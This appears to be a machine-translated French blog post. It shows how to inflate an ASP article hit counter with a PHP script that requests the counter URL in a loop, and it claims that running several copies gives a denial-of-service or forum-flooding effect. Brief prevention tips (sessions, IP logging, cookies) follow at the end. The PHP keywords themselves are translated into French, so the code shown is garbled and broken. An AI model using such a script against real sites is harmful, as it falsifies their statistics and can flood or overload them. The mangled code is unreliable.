Aujourd'hui, j'ai accidentellement vu un site Web dont le compteur peut être mis à jour dans une page statique. J'ai pensé que cela devrait être fait en utilisant js. Lorsque j'ai ouvert le code source, il s'est avéré être :
<div align=center><SPAN class=Article_tdbgall>.
Auteur : Article inconnu Source : Meidi.Net
Nombre de clics :
<script language='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
Heure de mise à jour : 2005-5-27</SPAN>
</div>
Le nombre de clics est suivi d'un fichier asp pour le traitement, je vais donc ouvrir ce fichier et y jeter un oeil :
document.write('210');
C'est vrai, c'est le fichier GetHists.asp qui traite ArticleID et extrait les résultats et affiche le nombre de fois : document .write('number of times'), qui peut être directement référencé dans la page statique.
Les méchants sont des méchants après tout, alors je me suis demandé : comment puis-je augmenter rapidement le nombre de clics ? L'actualisation manuelle n'est pas très utile. Eh bien, écrivez rapidement un programme PHP pour accéder automatiquement à ce fichier.
Le code PHP est le suivant :
<?php
/* access_url.php */
définir(SUM, 1000); //Nombre de visites requises
définir(L_TIME, 1000); //Forcer le temps d'exécution du script
définir(S_TIME, 1); //Durée de sommeil entre chaque visite
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 " //L'adresse à laquelle accéder
set_time_limit(L_TIME);
//Accéder à la fonction URL spécifiée Knowsky.com
fonction access_url ($url)
{
if ($url=='') renvoie false ;
$fp = fopen($url, 'r') ou exit('L'ouverture de l'url a échoué !');
si ($fp) {
tandis que (!feof($fp)) {
$fichier = fgets($fp);
echo $fichier."n<p> </p>n";
}
non défini($fichier);
}
}
//Test
pour ($i=0; $i<SUM; $i++) {
access_url($url);
dormir(S_TIME);
}
?>
Exécutez le programme ci-dessus, puis l'adresse URL spécifiée sera consultée en continu et, naturellement, le nombre d'accès continuera d'augmenter, obtenant l'effet d'inondation. Si le trafic est important et que plusieurs programmes sont utilisés pour l’exécuter, il est facile d’obtenir un effet de déni de service (DoS). Si l'autre partie prend des mesures préventives, modifie le code et le soumet au forum, il est facile d'obtenir l'effet d'inonder le forum.
Méthodes de prévention :
1. Utilisez le mécanisme de session dans le code. Lorsque l'utilisateur soumet, un identifiant de session est généré. Lors de la soumission du contenu, il est jugé s'il a été soumis, le brossage n'est pas autorisé.
2. Après la soumission de l'utilisateur, l'adresse IP de l'utilisateur est enregistrée. Si l'utilisateur soumet à nouveau dans le délai spécifié, aucune autre soumission n'est autorisée.
3. Une fois que l'utilisateur a soumis le contenu, un cookie est écrit sur le client de l'utilisateur. Si l'utilisateur soumet à nouveau, vérifiez s'il existe un cookie sur le client pour déterminer si la soumission est autorisée.
Il existe de nombreuses autres façons de les rechercher ou d'utiliser votre imagination pour faire mieux.